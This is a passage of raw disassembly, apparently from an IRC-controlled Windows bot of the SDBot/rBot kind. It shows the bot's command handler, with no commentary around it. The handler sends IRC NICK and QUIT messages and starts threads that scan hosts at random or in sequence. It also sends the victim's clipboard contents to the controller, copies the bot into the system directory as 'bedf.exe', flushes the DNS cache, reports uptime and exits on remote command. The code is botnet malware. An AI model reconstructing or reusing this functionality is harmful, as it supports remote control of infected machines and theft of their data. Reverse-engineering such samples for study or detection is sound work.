		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_401032
		push	[ebp+arg_10]
		push	offset unk_42DDC4


loc_40C14E:				; CODE XREF: sub_4087B3+3191j
					; sub_4087B3+3943j ...
		call	sub_4012B2


loc_40C153:				; CODE XREF: sub_4087B3+31F9j
		add	esp, 14h
		jmp	loc_40D023
; ---------------------------------------------------------------------------


loc_40C15B:				; CODE XREF: sub_4087B3+12D4j
					; sub_4087B3+12E9j
		mov	al, byte_42B03A
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_42B03A
		jz	loc_408B77
		mov	ecx, edx


loc_40C172:				; CODE XREF: sub_4087B3+39C7j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_40C172
		cmp	al, bl
		jz	loc_408B77
		mov	[ebp+arg_18], edx


loc_40C187:				; CODE XREF: sub_4087B3+3C92j
		push	8
		call	sub_4010E6
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 0C8h
		jle	short loc_40C1D6
		push	ecx
		lea	eax, [ebp+var_2E4]
		push	offset dword_42EC14
		push	eax
		call	sub_416821
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_4010D2
		add	esp, 20h
		jmp	loc_40C43C
; ---------------------------------------------------------------------------


loc_40C1D6:				; CODE XREF: sub_4087B3+39EEj
		or	[ebp+var_300], 0FFFFFFFFh
		cmp	dword_42AF28, ebx
		mov	[ebp+var_304], 1Eh
		mov	[ebp+var_318], 5
		mov	[ebp+var_314], 140h
		mov	[ebp+arg_0], ebx
		jz	short loc_40C247
		mov	eax, [ebp+arg_18]
		mov	edi, offset dword_42AF28
		lea	esi, [eax-0Ah]


loc_40C211:				; CODE XREF: sub_4087B3+3A76j
		lea	eax, [edi-28h]
		push	esi
		push	eax
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40C22D
		inc	[ebp+arg_0]
		add	edi, 3Ch
		cmp	[edi], ebx
		jnz	short loc_40C211
		jmp	short loc_40C247
; ---------------------------------------------------------------------------


loc_40C22D:				; CODE XREF: sub_4087B3+3A6Cj
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_300], eax
		imul	ecx, 3Ch
		mov	ecx, dword_42AF28[ecx]
		mov	[ebp+var_31C], ecx


loc_40C247:				; CODE XREF: sub_4087B3+3A51j
					; sub_4087B3+3A78j
		cmp	[ebp+var_31C], ebx
		jz	loc_40C450
		push	10h
		lea	eax, [ebp+arg_10]
		pop	esi
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		mov	[ebp+arg_10], esi
		push	[ebp+arg_4]
		call	dword_491600	; getsockname
		mov	al, [ebp+var_9B3]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_D4], eax
		push	[ebp+var_D4]
		call	dword_4916E8	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_416A10
		xor	eax, eax
		cmp	[ebp+var_9B3], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_4169E0
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40C2E9


loc_40C2C7:				; CODE XREF: sub_4087B3+3B34j
		cmp	eax, ebx
		jz	short loc_40C2E9
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_430]
		push	30h
		push	eax
		call	sub_4169E0
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40C2C7


loc_40C2E9:				; CODE XREF: sub_4087B3+3B12j
					; sub_4087B3+3B16j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_98]
		mov	esi, [ebp+var_4]
		mov	[ebp+var_320], eax
		mov	eax, [ebp+var_8]
		mov	edi, 80h
		mov	[ebp+var_2F4], eax
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		mov	[ebp+var_2F0], 1
		mov	[ebp+var_2F8], esi
		call	sub_4163D7
		push	offset byte_4370BC
		push	offset aAwk1	; "##awk1"
		call	sub_416B70
		add	esp, 14h
		test	eax, eax
		jz	short loc_40C353
		push	offset aAwk1	; "##awk1"
		lea	eax, [ebp+var_3A0]
		push	edi
		push	eax
		call	sub_4163D7
		add	esp, 0Ch
		jmp	short loc_40C359
; ---------------------------------------------------------------------------


loc_40C353:				; CODE XREF: sub_4087B3+3B87j
		mov	[ebp+var_3A0], bl


loc_40C359:				; CODE XREF: sub_4087B3+3B9Ej
		cmp	[ebp+var_2F0], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_40C36B
		mov	eax, offset aSequential	; "Sequential"


loc_40C36B:				; CODE XREF: sub_4087B3+3BB1j
		push	[ebp+var_304]
		lea	ecx, [ebp+var_430]
		push	[ebp+var_314]
		push	[ebp+var_318]
		push	[ebp+var_31C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset dword_42EB28
		push	eax
		call	sub_416821
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	8
		push	eax
		call	sub_40105F
		add	esp, 2Ch
		mov	[ebp+var_310], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_430]
		push	ebx
		push	eax
		push	offset loc_401366
		push	ebx
		push	ebx
		call	ds:dword_49532C	; CreateThread
		mov	ecx, [ebp+var_310]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40C3F5


loc_40C3E3:				; CODE XREF: sub_4087B3+3C40j
		cmp	[ebp+var_2EC], ebx
		jnz	short loc_40C410
		push	32h
		call	ds:dword_495324	; Sleep
		jmp	short loc_40C3E3
; ---------------------------------------------------------------------------


loc_40C3F5:				; CODE XREF: sub_4087B3+3C2Ej
		call	ds:dword_495328	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset dword_42EADC
		push	eax
		call	sub_416821
		add	esp, 0Ch


loc_40C410:				; CODE XREF: sub_4087B3+3C36j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40C42F
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	esi
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_4010D2
		add	esp, 14h


loc_40C42F:				; CODE XREF: sub_4087B3+3C60j
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_401014
		pop	ecx


loc_40C43C:				; CODE XREF: sub_4087B3+3A1Ej
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_40C187
		jmp	loc_408B77
; ---------------------------------------------------------------------------


loc_40C450:				; CODE XREF: sub_4087B3+21D3j
					; sub_4087B3+3A9Aj
		push	offset dword_42DD78


loc_40C455:				; CODE XREF: sub_4087B3+2234j
					; sub_4087B3+3876j
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_416821
		pop	ecx
		pop	ecx
		jmp	loc_40A72D
; ---------------------------------------------------------------------------


loc_40C468:				; CODE XREF: sub_4087B3+12AAj
					; sub_4087B3+12BFj
		push	4
		call	sub_4010E6
		test	eax, eax
		pop	ecx
		jle	short loc_40C47E
		push	offset dword_42DD48
		jmp	loc_409E4E
; ---------------------------------------------------------------------------


loc_40C47E:				; CODE XREF: sub_4087B3+3CBFj
		mov	eax, [ebp+esi+var_9C]
		cmp	eax, ebx
		jz	short loc_40C4A1
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_804]
		push	edi
		push	eax
		call	sub_4163D7
		add	esp, 0Ch
		jmp	short loc_40C4B5
; ---------------------------------------------------------------------------


loc_40C4A1:				; CODE XREF: sub_4087B3+3CD4j
		mov	edi, 104h
		lea	eax, [ebp+var_804]
		push	edi
		push	eax
		push	ebx
		call	ds:dword_495330	; GetModuleFileNameA


loc_40C4B5:				; CODE XREF: sub_4087B3+3CECj
		mov	esi, [ebp+esi+var_98]
		cmp	esi, ebx
		jnz	short loc_40C4C5
		mov	esi, offset aBedf_exe ;	"bedf.exe"


loc_40C4C5:				; CODE XREF: sub_4087B3+3D0Bj
		push	esi
		lea	eax, [ebp+var_700]
		push	edi
		push	eax
		call	sub_4163D7
		mov	eax, dword_42C920
		push	7Fh
		push	[ebp+var_98]
		mov	[ebp+var_5F4], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_5F8], ebx
		mov	[ebp+var_808], eax
		lea	eax, [ebp+var_5F0]
		push	eax
		call	sub_416A10
		mov	eax, [ebp+var_4]
		mov	[ebp+var_570], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_700]
		push	eax
		lea	eax, [ebp+var_804]
		push	eax
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_5F4]
		push	offset dword_42DCF0
		push	eax
		call	sub_416821
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	4
		push	eax
		call	sub_40105F
		add	esp, 38h
		mov	[ebp+var_5FC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_808]
		push	ebx
		push	eax
		push	offset sub_4012EE
		push	ebx
		push	ebx
		call	ds:dword_49532C	; CreateThread
		mov	ecx, [ebp+var_5FC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40C595


loc_40C57F:				; CODE XREF: sub_4087B3+3DE0j
		cmp	[ebp+var_568], ebx
		jnz	loc_40B330
		push	32h
		call	ds:dword_495324	; Sleep
		jmp	short loc_40C57F
; ---------------------------------------------------------------------------


loc_40C595:				; CODE XREF: sub_4087B3+3DCAj
		call	ds:dword_495328	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42DCA0
		jmp	loc_40CFA0
; ---------------------------------------------------------------------------


loc_40C5A6:				; CODE XREF: sub_4087B3+1280j
					; sub_4087B3+1295j
		mov	edi, [ebp+esi+var_9C]
		cmp	edi, ebx
		jz	short loc_40C5C5
		push	edi
		call	sub_416CCF
		test	eax, eax
		pop	ecx
		jz	short loc_40C5C5
		push	edi
		call	sub_416CCF
		pop	ecx
		jmp	short loc_40C5CA
; ---------------------------------------------------------------------------


loc_40C5C5:				; CODE XREF: sub_4087B3+3DFCj
					; sub_4087B3+3E07j
		mov	eax, dword_42C924


loc_40C5CA:				; CODE XREF: sub_4087B3+3E10j
		mov	esi, [ebp+esi+var_98]
		mov	[ebp+var_584], eax
		xor	eax, eax
		cmp	[ebp+var_9B0], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_570], eax
		jz	short loc_40C5FD
		lea	eax, [ebp+var_688]
		push	esi
		push	eax
		call	sub_416821
		pop	ecx
		pop	ecx
		jmp	short loc_40C628
; ---------------------------------------------------------------------------


loc_40C5FD:				; CODE XREF: sub_4087B3+3E37j
		lea	eax, [ebp+var_3E8]
		push	104h
		push	eax
		call	ds:dword_495364	; GetSystemDirectoryA
		push	ebx
		push	ebx
		lea	eax, [ebp+var_D4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_3E8]
		push	eax
		call	sub_417900
		add	esp, 14h


loc_40C628:				; CODE XREF: sub_4087B3+3E48j
		lea	eax, [ebp+var_688]
		push	eax
		call	sub_4158E0
		cmp	[ebp+eax+var_689], 5Ch
		pop	ecx
		jnz	short loc_40C653
		lea	eax, [ebp+var_688]
		push	eax
		call	sub_4158E0
		pop	ecx
		mov	[ebp+eax+var_689], bl


loc_40C653:				; CODE XREF: sub_4087B3+3E8Aj
		push	[ebp+var_98]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_910]
		mov	[ebp+var_914], esi
		push	80h
		push	eax
		call	sub_4163D7
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_688]
		mov	[ebp+var_578], edi
		push	eax
		push	[ebp+var_584]
		push	esi
		call	sub_401299
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_42DC4C
		push	eax
		call	sub_416821
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	3
		push	eax
		call	sub_40105F
		add	esp, 20h
		mov	[ebp+var_57C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_914]
		push	ebx
		push	eax
		push	offset sub_4012F8
		push	ebx
		push	ebx
		call	ds:dword_49532C	; CreateThread
		mov	ecx, [ebp+var_57C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40C707


loc_40C6F5:				; CODE XREF: sub_4087B3+3F52j
		cmp	[ebp+var_568], ebx
		jnz	short loc_40C722
		push	32h
		call	ds:dword_495324	; Sleep
		jmp	short loc_40C6F5
; ---------------------------------------------------------------------------


loc_40C707:				; CODE XREF: sub_4087B3+3F40j
		call	ds:dword_495328	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42DBF8


loc_40C713:				; CODE XREF: sub_4087B3+26FCj
					; sub_4087B3+27F8j ...
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_416821
		add	esp, 0Ch


loc_40C722:				; CODE XREF: sub_4087B3+26E0j
					; sub_4087B3+27DCj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40CEDA
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	edi
		push	eax
		push	[ebp+var_98]
		push	esi


loc_40C73B:				; CODE XREF: sub_4087B3+1F97j
		call	sub_4010D2
		add	esp, 14h
		jmp	loc_40CEDA
; ---------------------------------------------------------------------------


loc_40C748:				; CODE XREF: sub_4087B3+1256j
					; sub_4087B3+126Bj
		mov	esi, [ebp+esi+var_9C]
		cmp	esi, ebx
		jz	short loc_40C75B
		push	esi
		call	sub_416CCF
		jmp	short loc_40C762
; ---------------------------------------------------------------------------


loc_40C75B:				; CODE XREF: sub_4087B3+3F9Ej
		push	8
		call	sub_40128A


loc_40C762:				; CODE XREF: sub_4087B3+3FA6j
		cmp	eax, ebx
		pop	ecx
		jz	loc_40D023
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_4010EB
		jmp	loc_40CBA6
; ---------------------------------------------------------------------------


loc_40C782:				; CODE XREF: sub_4087B3+122Cj
					; sub_4087B3+1241j
		mov	eax, dword_491584
		cmp	eax, ebx
		jz	short loc_40C79F
		call	eax	; DnsFlushResolverCache
		test	eax, eax
		jz	short loc_40C798
		push	offset dword_42DBC0
		jmp	short loc_40C7B4
; ---------------------------------------------------------------------------


loc_40C798:				; CODE XREF: sub_4087B3+3FDCj
		push	offset dword_42DB80
		jmp	short loc_40C7B4
; ---------------------------------------------------------------------------


loc_40C79F:				; CODE XREF: sub_4087B3+3FD6j
		push	offset dword_42DB40
		jmp	short loc_40C7B4
; ---------------------------------------------------------------------------


loc_40C7A6:				; CODE XREF: sub_4087B3+1202j
					; sub_4087B3+1217j
		call	sub_40101E
		test	eax, eax
		jz	short loc_40C7CA
		push	offset dword_42DB08


loc_40C7B4:				; CODE XREF: sub_4087B3+3FE3j
					; sub_4087B3+3FEAj ...
		lea	eax, [ebp+var_2E4]
		push	200h
		push	eax
		call	sub_4163D7
		jmp	loc_40CF01
; ---------------------------------------------------------------------------


loc_40C7CA:				; CODE XREF: sub_4087B3+3FFAj
		push	offset dword_42DAC8
		jmp	short loc_40C7B4
; ---------------------------------------------------------------------------


loc_40C7D1:				; CODE XREF: sub_4087B3+11D8j
					; sub_4087B3+11EDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_40C7F0
		push	ebx
		push	[ebp+var_4]
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_4010D2
		add	esp, 14h


loc_40C7F0:				; CODE XREF: sub_4087B3+4021j
		push	ebx
		push	[ebp+var_4]
		call	sub_4012C1
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_4010D2
		push	offset dword_42DA84
		jmp	loc_40CA75
; ---------------------------------------------------------------------------


loc_40C812:				; CODE XREF: sub_4087B3+1127j
					; sub_4087B3+113Cj
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_4010DC
		jmp	loc_408B74
; ---------------------------------------------------------------------------


loc_40C82B:				; CODE XREF: sub_4087B3+10FDj
					; sub_4087B3+1112j
		push	[ebp+esi+var_9C]
		push	[ebp+var_4]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40134D
		jmp	loc_408B74
; ---------------------------------------------------------------------------


loc_40C848:				; CODE XREF: sub_4087B3+10D3j
					; sub_4087B3+10E8j
		or	edi, 0FFFFFFFFh
		call	ds:dword_495340	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_9C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40C871
		push	esi
		call	sub_416CCF
		pop	ecx
		mov	edi, eax


loc_40C871:				; CODE XREF: sub_4087B3+40B3j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_40C88A
		cmp	edi, 0FFFFFFFFh
		jnz	loc_40D023


loc_40C88A:				; CODE XREF: sub_4087B3+40CCj
		push	ebx
		call	sub_4011AE
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset dword_42DA5C
		push	eax
		call	sub_416821
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_4010D2
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_401014


loc_40C8C7:				; CODE XREF: sub_4087B3+252Dj
		add	esp, 28h
		jmp	loc_40D023
; ---------------------------------------------------------------------------


loc_40C8CF:				; CODE XREF: sub_4087B3+10A9j
					; sub_4087B3+10BEj
		push	1Eh
		call	sub_4010E6
		test	eax, eax
		pop	ecx
		jle	short loc_40C903
		cmp	[ebp+var_8], ebx
		jnz	loc_408B77
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42DA2C
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_4010D2
		add	esp, 14h
		jmp	loc_408B77
; ---------------------------------------------------------------------------


loc_40C903:				; CODE XREF: sub_4087B3+4126j
		push	[ebp+var_98]
		lea	eax, [ebp+var_4DC]
		push	80h
		push	eax
		call	sub_4163D7
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_9C]
		mov	[ebp+var_4E0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_454], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_450], eax
		mov	[ebp+var_458], ebx
		jz	short loc_40C964
		push	esi
		push	offset aFull	; "full"
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C964
		mov	[ebp+var_458], 1


loc_40C964:				; CODE XREF: sub_4087B3+4194j
					; sub_4087B3+41A5j
		lea	eax, [ebp+var_2E4]
		push	offset dword_42D9F4
		push	eax
		call	sub_416821
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	1Eh
		push	eax
		call	sub_40105F
		add	esp, 14h
		mov	[ebp+var_45C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4E0]
		push	ebx
		push	eax
		push	offset sub_401316
		push	ebx
		push	ebx
		call	ds:dword_49532C	; CreateThread
		mov	ecx, [ebp+var_45C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40C9D2


loc_40C9BC:				; CODE XREF: sub_4087B3+421Dj
		cmp	[ebp+var_44C], ebx
		jnz	loc_40CEDA
		push	32h
		call	ds:dword_495324	; Sleep
		jmp	short loc_40C9BC
; ---------------------------------------------------------------------------


loc_40C9D2:				; CODE XREF: sub_4087B3+4207j
		call	ds:dword_495328	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D9A0
		jmp	loc_40CECB
; ---------------------------------------------------------------------------


loc_40C9E3:				; CODE XREF: sub_4087B3+107Fj
					; sub_4087B3+1094j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40CA02
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42D974
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_4010D2
		add	esp, 14h


loc_40CA02:				; CODE XREF: sub_4087B3+4233j
		push	[ebp+arg_4]
		call	dword_4916F4	; closesocket
		call	dword_4915BC	; WSACleanup
		call	sub_401122
		push	ebx
		call	ds:dword_495350	; ExitProcess


loc_40CA1D:				; CODE XREF: sub_4087B3+1055j
					; sub_4087B3+106Aj
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_40125D
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_4010D2
		push	offset dword_42D94C
		jmp	short loc_40CA75
; ---------------------------------------------------------------------------


loc_40CA48:				; CODE XREF: sub_4087B3+102Bj
					; sub_4087B3+1040j
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_401302
		add	esp, 0Ch
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_4010D2
		push	offset dword_42D920


loc_40CA75:				; CODE XREF: sub_4087B3+405Aj
					; sub_4087B3+4293j
		call	sub_401014


loc_40CA7A:				; CODE XREF: sub_4087B3+3065j
		add	esp, 18h
		jmp	loc_40D023
; ---------------------------------------------------------------------------


loc_40CA82:				; CODE XREF: sub_4087B3+1001j
					; sub_4087B3+1016j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_4010AF
		jmp	loc_408B74
; ---------------------------------------------------------------------------


loc_40CA9B:				; CODE XREF: sub_4087B3+FD7j
					; sub_4087B3+FECj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_374], bl
		jz	short loc_40CADA
		mov	esi, [ebp+esi+var_9C]
		cmp	esi, ebx
		jz	short loc_40CADA
		push	esi
		push	[ebp+var_C]
		call	sub_417760
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40CADA
		push	eax
		push	offset aS_2	; "%s"
		lea	eax, [ebp+var_374]
		push	80h
		push	eax
		call	sub_4163D7
		add	esp, 10h


loc_40CADA:				; CODE XREF: sub_4087B3+42F1j
					; sub_4087B3+42FCj ...
		push	[ebp+var_98]
		lea	eax, [ebp+var_3F4]
		push	80h
		push	eax
		call	sub_4163D7
		mov	eax, [ebp+arg_4]
		push	offset dword_42D8F8
		mov	[ebp+var_3F8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2F0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2EC], eax
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_416821
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	1Ch
		push	eax
		call	sub_40105F
		add	esp, 20h
		mov	[ebp+var_2F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F8]
		push	ebx
		push	eax
		push	offset loc_40114A
		push	ebx
		push	ebx
		call	ds:dword_49532C	; CreateThread
		mov	ecx, [ebp+var_2F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40CB7A


loc_40CB64:				; CODE XREF: sub_4087B3+43C5j
		cmp	[ebp+var_2E8], ebx
		jnz	loc_408B77
		push	32h
		call	ds:dword_495324	; Sleep
		jmp	short loc_40CB64
; ---------------------------------------------------------------------------


loc_40CB7A:				; CODE XREF: sub_4087B3+43AFj
		call	ds:dword_495328	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D8A8
		jmp	loc_408D60
; ---------------------------------------------------------------------------


loc_40CB8B:				; CODE XREF: sub_4087B3+FADj
					; sub_4087B3+FC2j
		push	[ebp+var_4]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_401028
		push	offset dword_42D880
		call	sub_401014


loc_40CBA6:				; CODE XREF: sub_4087B3+3FCAj
		add	esp, 10h
		jmp	loc_40D023
; ---------------------------------------------------------------------------


loc_40CBAE:				; CODE XREF: sub_4087B3+F83j
					; sub_4087B3+F98j
		push	[ebp+var_98]
		lea	eax, [ebp+var_4DC]
		push	80h
		push	eax
		call	sub_4163D7
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_9C]
		mov	[ebp+var_4E0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_454], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_450], eax
		jz	short loc_40CC08
		push	offset dword_42D87C
		push	esi
		call	sub_416B70
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_458], eax
		jmp	short loc_40CC0E
; ---------------------------------------------------------------------------


loc_40CC08:				; CODE XREF: sub_4087B3+4439j
		mov	[ebp+var_458], ebx


loc_40CC0E:				; CODE XREF: sub_4087B3+4453j
		lea	eax, [ebp+var_2E4]
		push	offset dword_42D84C
		push	eax
		call	sub_416821
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	1Fh
		push	eax
		call	sub_40105F
		add	esp, 14h
		mov	[ebp+var_45C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4E0]
		push	ebx
		push	eax
		push	offset sub_4011E5
		push	ebx
		push	ebx
		call	ds:dword_49532C	; CreateThread
		mov	ecx, [ebp+var_45C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40CC78


loc_40CC66:				; CODE XREF: sub_4087B3+44C3j
		cmp	[ebp+var_44C], ebx
		jnz	short loc_40CC93
		push	32h
		call	ds:dword_495324	; Sleep
		jmp	short loc_40CC66
; ---------------------------------------------------------------------------


loc_40CC78:				; CODE XREF: sub_4087B3+44B1j
		call	ds:dword_495328	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D7FC


loc_40CC84:				; CODE XREF: sub_4087B3+35A0j
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_416821
		add	esp, 0Ch


loc_40CC93:				; CODE XREF: sub_4087B3+1F0Cj
					; sub_4087B3+1F2Ej ...
		lea	eax, [ebp+var_2E4]
		push	eax


loc_40CC9A:				; CODE XREF: sub_4087B3+11C4j
		call	sub_401014
		pop	ecx
		jmp	loc_40D023
; ---------------------------------------------------------------------------


loc_40CCA5:				; CODE XREF: sub_4087B3+F07j
					; sub_4087B3+F1Cj
		push	offset dword_42C954
		lea	eax, [ebp+var_2E4]
		push	offset dword_42D7D4
		push	eax
		call	sub_416821
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_4010D2
		add	esp, 20h
		jmp	loc_40B5AF
; ---------------------------------------------------------------------------


loc_40CCDC:				; CODE XREF: sub_4087B3+EDDj
					; sub_4087B3+EF2j
		push	dword_4834B0
		call	sub_4011AE
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_42D794
		push	eax
		call	sub_416821
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_4010D2
		add	esp, 24h
		jmp	loc_40B5AF
; ---------------------------------------------------------------------------


loc_40CD1A:				; CODE XREF: sub_4087B3+EB3j
					; sub_4087B3+EC8j
		mov	esi, [ebp+esi+var_9C]
		cmp	esi, ebx
		jz	short loc_40CD4C
		cmp	[ebp+var_C], ebx
		jz	short loc_40CD5B
		push	esi
		push	[ebp+var_C]
		call	sub_417760
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40CD5B
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_401032
		add	esp, 0Ch
		jmp	short loc_40CD5B
; ---------------------------------------------------------------------------


loc_40CD4C:				; CODE XREF: sub_4087B3+4570j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_401032
		pop	ecx
		pop	ecx


loc_40CD5B:				; CODE XREF: sub_4087B3+4575j
					; sub_4087B3+4584j ...
		push	0FFFFFFFEh
		jmp	loc_408B79
; ---------------------------------------------------------------------------


loc_40CD62:				; CODE XREF: sub_4087B3+E89j
					; sub_4087B3+E9Ej
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_401032
		push	offset dword_42D73C
		call	sub_401014
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_408B7A
; ---------------------------------------------------------------------------


loc_40CD84:				; CODE XREF: sub_4087B3+E5Fj
					; sub_4087B3+E74j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_401032
		push	offset dword_42D6F4
		call	sub_401014
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_408B7A
; ---------------------------------------------------------------------------


loc_40CDA5:				; CODE XREF: sub_4087B3+E35j
					; sub_4087B3+E4Aj
		push	[ebp+var_4]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_4011CC


